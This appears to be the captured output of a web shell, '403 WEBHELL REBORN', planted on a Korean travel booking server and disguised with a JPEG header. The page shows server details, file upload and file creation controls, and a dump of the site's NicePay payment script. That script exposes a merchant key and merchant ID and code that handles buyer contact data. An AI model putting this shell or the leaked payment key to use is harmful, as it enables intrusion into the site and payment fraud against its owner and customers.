ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/ty_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/ty_test/mocard.php
<?php
/*
 * 나이스페이 결제
 *
 * 작성자 :
 * 작성일 : 2022.3
 */

function _e($w){
    return $w;
}


//2019-10-18 각 통화금액을 USD로 변환
$old_total_pay = (int) $total_pay; //total 원화

$cf['pg']['nice']['tktravel1m'] = "mW1r6ggFYVl+cCv9gngBmAWNjfCnotcUJx8RNOhVYfdGm0EF8Qtwc3ZpDq3aCRAPvHNwr3VgzAsOL7M5jR0KAw==";
$cf['pg']['nice']['merchantKey'] = $cf['pg']['nice']['tktravel1m'];
$cf['pg']['nice']['merchantID'] = "tktravel1m";// 상점아이디 국내용

// NICEPAY

/******************************************************
 * <결제요청 파라미터>
 ******************************************************/

$merchantKey	= $cf['pg']['nice']['merchantKey']; // 상점키
$MID			= $cf['pg']['nice']['merchantID']; // 상점아이디
$price			= $total_pay_real; // 결제상품금액
$buyerID		= $TO_MB['mb_id']; // 구매자ID
$buyerName		= $TO_MB['mb_nm']; // 구매자명
$buyerTel		= $TO_MB['mb_phone']; // 구매자연락처
$buyerEmail		= $TO_MB['mb_email']; // 구매자메일주소
$moid			= $res_no; // 상품주문번호
$returnURL		= $cf['url_ssl']."/ty_test/tour_order_niceResult.html"; // 결과페이지, 모바일 전용

//$CurrencyCode	= $cf['pg']['nice']['currency']; // 결제화폐단위(KRW,USD,CNY)
//$NpLang			= $cf['pg']['nice']['lang']; // 결제창언어(EN,CN,KO)

$CurrencyCode	= "USD"; // 결제화폐단위(KRW,USD,CNY)
$CurrencyCode	= "KRW"; // 결제화폐단위(KRW,USD,CNY)
$NpLang			= "EN"; // 결제창언어(EN,CN,KO)


$price = 100; //1달러
$total_pay_real = 100; //1달러
$total_pay_final = $total_pay_real;



/******************************************************
 * <해쉬암호화> (수정하지 마세요)
 * SHA-256 해쉬암호화는 거래 위변조를 막기위한 방법입니다.
 ******************************************************/
$ediDate = date("YmdHis");
$hashString = bin2hex(hash('sha256', $ediDate.$MID.$price.$merchantKey, true));



/******************************************************
 * 알리페이 파라미터
 ******************************************************/
/*
 * 아래 코드 주석 해제하면 카드결제가 안됨.
 * */

//if(devCookie()){
//	p($alipay_allow);
//}

?>
<script src="/js/library/jquery-3.1.1.min.js"></script>


<!-- [PC Only] Nicepay 결제모듈 Script -->
<script src="https://web.nicepay.co.kr/v3/webstd/js/nicepay-3.0.js" type="text/javascript"></script>

<!-- ******Contents****** -->
<style>
    .price_info {font-style:normal;font-size:0.7em;font-weight:normal;}

    #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST101l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{float:left;width:43%;position:relative;top:1px;margin-right:0px;font-size:13px;text-align:center;margin-left:1%}

    #inst_cdINST010,#inst_cdINST011,#inst_cdINST002,#inst_cdINST001,#payTypeKakao,#payTypeNaver{display:none}
    #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l{border:1px solid #d6d6d6;padding:10px;color:#d6d6d6;margin-top:1%}
    #payTypeKakaoLabel,#payTypeNaverLabel{border:1px solid #d6d6d6;margin-top:1%;color:#d6d6d6;padding:10px;margin-bottom:1%}
    #payTypeKakaoLabel img{width:60px;filter:grayscale(100%);opacity:50%}
    #payTypeNaverLabel img{width:60px;filter:grayscale(100%);opacity:50%;position:relative;top:-1px}

    #inst_cdINST010l img,#inst_cdINST011l img{filter:grayscale(100%)}
    #inst_cdINST002:checked + label{color:#000 !important;border:1px solid #f47426;background:#fff7f7}
    #inst_cdINST001:checked + label{color:#000 !important;border:1px solid #f47426;background:#fff7f7}

    #inst_cdINST010:checked + label{color:#000 !important;border:1px solid #f47426;background:#fff7f7}
    #inst_cdINST011:checked + label{color:#000 !important;border:1px solid #f47426;background:#fff7f7}

    #payTypeKakao:checked + label{border:1px solid #ffe734}
    #payTypeNaver:checked + label{border:1px solid #27be28}
    #payTypeKakao:checked + label img, #payTypeNaver:checked + label img{;filter:grayscale(0%);opacity:100%}

    #inst_cdINST010:checked + label img, #inst_cdINST011:checked + label img{;filter:grayscale(0%);opacity:100%}

    @media screen and (min-width:579px) and (max-width:620px){
        #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{width:43%}
    }

    @media screen and (min-width:507px) and (max-width:578px){
        #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{width:42%}
    }

    @media screen and (min-width:446px) and (max-width:506px){
        #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{width:41%}
    }

    @media screen and (min-width:360px) and (max-width:445px){
        #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{width:40%}
    }

    @media screen and (min-width:0px) and (max-width:359px){
        #inst_cdINST010l,#inst_cdINST011l,#inst_cdINST002l,#inst_cdINST001l,#payTypeKakaoLabel,#payTypeNaverLabel{width:38%}
    }
    #accountCopyBtn{background: #000;
        color: #fff;
        padding: 2px 5px;
        border-radius: 3px;
        font-size: 13px;}
</style>


<!-- 주문정보 입력 form : order_info -->
<form name="order_info" id="order_info" method="post" action="pp_ax_hub.php" >
    <input type="hidden" name="SqlType" id="SqlType" value="">

    <!-- 상점파라메터 -->
    <input type="hidden" name="tour_res_no" value="<?=$tour_res_no?>"><!-- 예약번호 -->
    <input type="hidden" name="good_point" value="0"><!-- 적립금사용금액 -->
    <input type="hidden" name="good_point_str" value=""><!-- 적립금사용금액내역 -->

    <!-- Nicepay 파라메터 -->
    <input type="hidden" name="PayMethod" value="CARD"><!-- 결제수단 -->
    <input type="hidden" name="Amt" value="<?=$total_pay_real?>"><!--결제금액-->
    <input type="hidden" name="MID" value="<?=$MID?>"><!--상점아이디-->
    <input type="hidden" name="Moid" value="<?=$moid?>"><!--주문번호-->
    <input type="hidden" name="MallUserID" value="<?=$buyerID?>">
    <input type="hidden" name="BuyerEmail" value="<?=$buyerEmail?>">
    <input type="hidden" name="BuyerTel" value="<?=(($res_cust_hp) ? $res_cust_hp : $buyerTel)?>">
    <input type="hidden" name="ReturnURL" value="<?=$returnURL?>"><!--인증후URL(MobileOnly)-->


    <input type="hidden" name="GoodsName" value="<?=$good_name?>"><!-- 상품이름 -->
    <input type="hidden" name="BuyerName" value="<?=$buyerName?>">

    <!-- Nicepay DirectShow -->
    <input type="hidden" name="DirectShowOpt" value=""/> <!-- 직접 호출 옵션 -->
    <input type="hidden" name="NicepayReserved" value=""/> <!-- 나이스페이 복합 옵션 -->
    <input type="hidden" name="DirectEasyPay" value=""/> <!-- 네이버페이 간편결제 -->
    <input type="hidden" name="EasyPayMethod" value=""/> <!-- 네이버페이 간편결제 -->

    <input type="hidden" name="ReqReserved" value="<?=$tour_res_no?>"><!--상점예비-->
    <input type="hidden" name="LogoImage" value=""><!--로고(94x25)-->
    <input type="hidden" name="CurrencyCode" value="<?=$CurrencyCode?>"><!--결제화폐단위-->
    <input type="hidden" name="NpLang" value="<?=$NpLang?>"><!--언어-->
    <input type="hidden" name="CharSet" value="utf-8"><!--인코딩-->
    <input type="hidden" name="SelectQuota" value=""><!--할부-->
    <input type="hidden" name="SelectCardCode" value=""><!--할부카드사-->

    <input type="hidden" name="EdiDate" value="<?=$ediDate?>"/><!-- 전문 생성일시 -->
    <input type="hidden" name="SignData" value="<?=$hashString?>"/><!-- 해쉬값 -->

    <input type="hidden" name="RetryURL" value="<?=$retryURL?>"/>

    <div id="contents">
        <!-- subtit -->
        <div class="subtit box">
            <div class="box"> <a href="javascript:history.go(-1);">이전</a>
                <h2><?=_e("결제하기");?></h2>
            </div>
        </div>
        <!-- //subtit -->
        <!-- **Mypage_area** -->
        <div class="mypage_area box" style="padding-bottom:5px !important;">
            <!-- 결제상품정보 -->
            <div class="price_info_arae pg_area" id="price_info_arae">
                <h4 class="f_left"><img src="../tmbi_images/product/ico_bar.png"> <?=_e("예약 상품");?></h4>


                <?php if($set_point['use_yn']=="Y" && $TO_MB['mb_id']){?>
                    <h4 class="f_left"><img src="../tmbi_images/product/ico_bar.png"> <?=_e("할인 정보");?></h4>
                    <div class="table_box mb15 clear">
                        <table class="tbl-type1" summary="결제상품 정보">
                            <caption>
                                결제상품 정보
                            </caption>
                            <tbody>
                            <tr>
                                <th rowspan="2" width="50%"><?=_e("상품명");?></th>
                                <th><?=_e("상품금액");?></th>
                            </tr>
                            <tr>
                                <th><?=_e("포인트사용");?></th>
                            </tr>
                            <?
                            for($i=0 ; $i<count($data) ;$i++)
                            {
                                $row = $data[$i];
                                ?>
                                <tr>
                                    <td rowspan="2"><?=$row['good_nm']?></td>
                                    <td><?=_eunit($row['pre_money_fr'])?> </td>
                                </tr>
                                <tr>
                                    <td>
                                        <input type="text" name="" class="input_text item_use_point2" res_no="<?=$row['res_no']?>" pre_money="<?=$row['pre_money']?>" pre_money_fr="<?=$row['pre_money_fr']?>" point_yn='<?=$row['point_yn']?>'  point_buy1='<?=$row['point_buy1']?>' point_buy2='<?=$row['point_buy2']?>'
                                               style="width:70px;text-align:right;" value="0" onblur="this.value=comma(this.value);" onkeydown="ChkNum(this,event);" <?=($set_point['use_yn']!="Y" or !$TO_MB['mb_id'])?"readonly":""?>>Point
                                    </td>
                                </tr>
                            <?php }?>
                            </tbody>
                        </table>
                    </div>


                <?php }?>

            </div>
            <? if($cf['lang']!='ko'){ ?>
                <dl class="pay_total mt10">
                    <dt class="tp"><?=_e('최종결제금액');?></dt>
                    <dd class="price"><?=$cf['pay_currency']?><span id="item_good_mny2"><?=$total_pay_final?></span></dd>
                    <?if($cf['lang']!='ko' && $cf['lang']!='ag'){
                        echo "<dd class='price_info'> (" . _e("상품 결재는 USD로 자동 환산되어 결재가 됩니다.").")</dd>";
                    }?>
                </dl>
            <? } ?>
            <input type="hidden" name="good_mny" value="<?=$total_pay_real?>"><!-- 결제금액 -->
            <!-- //결제상품정보 -->

            <!-- 예약자정보 -->
            <div class="reserv_info_area pg_area" id="reserv_info_area">
                <h4 class="f_left"><img src="../tmbi_images/product/ico_bar.png"> <?=_e('예약자');?></h4>
                <div id="ajax_traveler_info">
                    <div class="table_box mb20 clear">
                        <table class="tbl-type1 h_5" summary="예약자 정보">
                            <caption>
                                예약자정보 입력
                            </caption>
                            <colgroup>
                                <col width="30%">
                                <col width="70%">
                            </colgroup>
                            <tbody>
                            <tr>
                                <th scope="row"><label for="mb_nm"><?=_e('예약자명');?></label></th>
                                <td><input type="hidden" name="buyr_name" value="<?=$res_cust_nm?>" /><?=$res_cust_nm?></td>
                            </tr>
                            <tr>
                                <th scope="row"><label for="mb_phone"><?=_e('휴대폰');?></label></th>
                                <td><input type="hidden" name="buyr_tel1" value="<?=$res_cust_hp?>" /><?=$res_cust_hp?></td>
                            </tr>
                            <tr>
                                <th scope="row"><label for="mb_email">E-mail</label></th>
                                <td><input type="hidden" name="buyr_mail" value="<?=$TO_MB['mb_email']?>" /><?=$res_cust_email?></td>
                            </tr>
                            <?if($cf['lang']!='ko') {?>
                                <tr>
                                    <th scope="row"><label for="mb_nation"><?=_e('국적');?></label></th>
                                    <td><input type="hidden" name="buyr_nation" value="<?=$res_cust_nat_cd?>"/><?=$res_cust_nat_cd?></td>
                                </tr>
                            <? } ?>
                            <? if($res_sns_id && $cf['lang']!='ko') { ?>
                                <tr>
                                    <th scope="row"><label for="mb_sns"><?if($cf['lang']=='ko') {echo "카카오톡 ID";} else {echo "SNS ID";}?></label></th>
                                    <td><input type="hidden" name="buyr_sns" value="<?=$res_sns_id?>" /><?=$res_sns_id?></td>
                                </tr>
                            <? } ?>
                            </tbody>
                        </table>
                    </div>
                </div>
                <!-- //예약자정보 -->
            </div>

            <!-- 결제정보 -->
            <h4 class="f_left"><img src="../tmbi_images/product/ico_bar.png"> <?=_e('결제 선택');?></h4>

            <div class="table_box clear">
                <table class="tbl-type1" summary="결제정보">
                    <caption>결제정보</caption>
                    <colgroup>
                        <col width="30%">
                        <col width="70%">
                    </colgroup>
                    <tbody>
                    <tr>
                        <th scope="row"><label for="inst_cd"><?=_e('결제수단');?></label></th>

                        <td style='padding:0'>



                                <input type="radio" name="inst_cd" value="INST002" id="payTypeKakao" pay="kakao">
                                <label id="payTypeKakaoLabel" for="payTypeKakao"><img src="/FileData/logo/kakaoPay.png?s=1" /></label>

                                <input type="radio" name="inst_cd" value="INST002" id="payTypeNaver" pay="naver">
                                <label id="payTypeNaverLabel" for="payTypeNaver"><img src="/FileData/logo/naverPay.png" style="width:50px"/></label>



                        </td>
                    </tr>

                    </tbody>
                </table>
            </div>
            <!-- 결제정보 -->

            <div class="btn_area" style="margin-top: 33px !important;">
                <a style="float:none;margin-left:auto;margin-right:auto" nohref="../tmbi_mypage/order_ok.html" class="btn_lt color" onClick="__formCheckAllow();"><?=_e('최종결제');?></a>
                <!--				<a href="/" class="btn_rt">--><?//=_e('취소');?><!--</a> -->
            </div>
        </div>
    </div>
    <!-- //**Mypage_area** -->
    </div>
    <!-- //******Contents****** -->

    <script type="text/javascript">

        var total_pay = parseInt(<?=$old_total_pay?>);
        var total_pay_fr = parseInt(total_pay);
        var total_pay_final = parseInt(<?=$total_pay_final?>);

        var tot_use_point=0; // point
        var good_mny2 = 0; // good_nmy
        var good_mny2_won = 0; // good_nmy원화

        var good_mny_pay = 0;

        // 결제 처리 __formCheckAllow > jsp__pay
        function jsf__pay( form )
        {
            var RetVal = false;
            var mpay = "";
            var inst_cd = form.elements['inst_cd'].value;
            var pay = $("input:radio[name='inst_cd']:checked").attr('pay');


            mpay = "card";

            console.log('mpay is ' + mpay);

            if(mpay=="card") { // 카드결제

                // 간편결제 (카카오페이, 네이버페이)
                form.elements['DirectShowOpt'].value = '';
                form.elements['DirectEasyPay'].value = '';
                if(pay == 'kakao'){
                    form.elements['DirectShowOpt'].value = 'CARD';
                    form.elements['NicepayReserved'].value = 'DirectKakao=Y';
                } else if(pay == 'naver'){
                    form.elements['DirectShowOpt'].value = 'CARD';
                    form.elements['DirectEasyPay'].value = 'E020';
                    form.elements['EasyPayMethod'].value = 'E020=CARD';
                    form.elements['NicepayReserved'].value = '';
                }

                try
                {

                    console.log('hjaro');
                    // 모바일 결제창 진입
                    document.order_info.action = "https://web.nicepay.co.kr/v3/v3Payment.jsp";
                    document.order_info.acceptCharset="euc-kr";
                    document.order_info.submit();
                }
                catch (e)
                {
                    /* IE 에서 결제 정상종료시 throw로 스크립트 종료 */
                }
            }



        }


        function __formCheckAllow()
        {
            //2019-10-18 통화
            // if(curunit!='KRW') {
                //USD일경우, CENT까지 표시 EX)$10.55 -> 1055
                // good_mny_pay2 = parseInt(good_mny_pay)*100;

            // } else {
                good_mny_pay2 = good_mny2;
            // }

            $("#order_info input[name='good_mny']").val(good_mny_pay2);


            jsf__pay(document.order_info);
        }

        function bank_check(){
            var RetVal = false;
            var mpay = "CARD";
            var inst_cd = $("input:radio[name=inst_cd]:checked").val();



        }

        $(document).ready(function(){
            $(".label_check_toggle").on("click",function(){
                if($(this).hasClass("on")) $(this).removeClass("on").addClass("off");
                else $(this).removeClass("off").addClass("on");
            });

            $(".chkAgree_view").on("click",function(){
                $(this).parent().parent().find(".terms_box").toggle();
            });


            $('#inst_cdINST002l').click(function(){
                $('#bank_input').hide();
            })

            $('#inst_cdINST010l').click(function(){
                $('#bank_input').hide();
            })


            $('#inst_cdINST011l').click(function(){
                $('#bank_input').hide();
            })

            $('#inst_cdINST001l').click(function(){
                $('#bank_input').show();
            })
        });
    </script>

Anon7 - 2021